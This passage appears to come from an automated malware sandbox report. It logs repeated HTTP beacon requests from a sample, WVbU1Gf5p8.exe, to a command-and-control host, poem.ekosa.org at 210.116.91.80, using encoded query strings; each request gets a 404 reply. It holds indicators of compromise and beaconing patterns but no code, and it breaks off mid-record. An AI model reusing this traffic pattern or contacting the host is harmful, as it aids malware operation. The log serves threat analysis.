Jan 11, 2021 17:55:15.947823048 CET	465	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:16.212260962 CET	466	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49799	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:16.591037035 CET	466	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:16.858326912 CET	467	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49800	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:17.132344007 CET	468	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:17.399684906 CET	468	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49801	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:17.660536051 CET	469	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:17.917649031 CET	470	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49802	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:18.294675112 CET	470	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:18.562208891 CET	471	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49803	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:18.824387074 CET	472	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:19.081305027 CET	476	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49805	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:19.348949909 CET	479	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:19.612787008 CET	480	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:19 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49806	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:20.001885891 CET	480	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:20.271342993 CET	481	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:19 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49762	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:58.937810898 CET	107	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:59.198338032 CET	108	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49807	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:20.544534922 CET	482	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:20.805959940 CET	482	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:20 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49808	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:21.083111048 CET	483	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:21.354104996 CET	483	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:20 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" 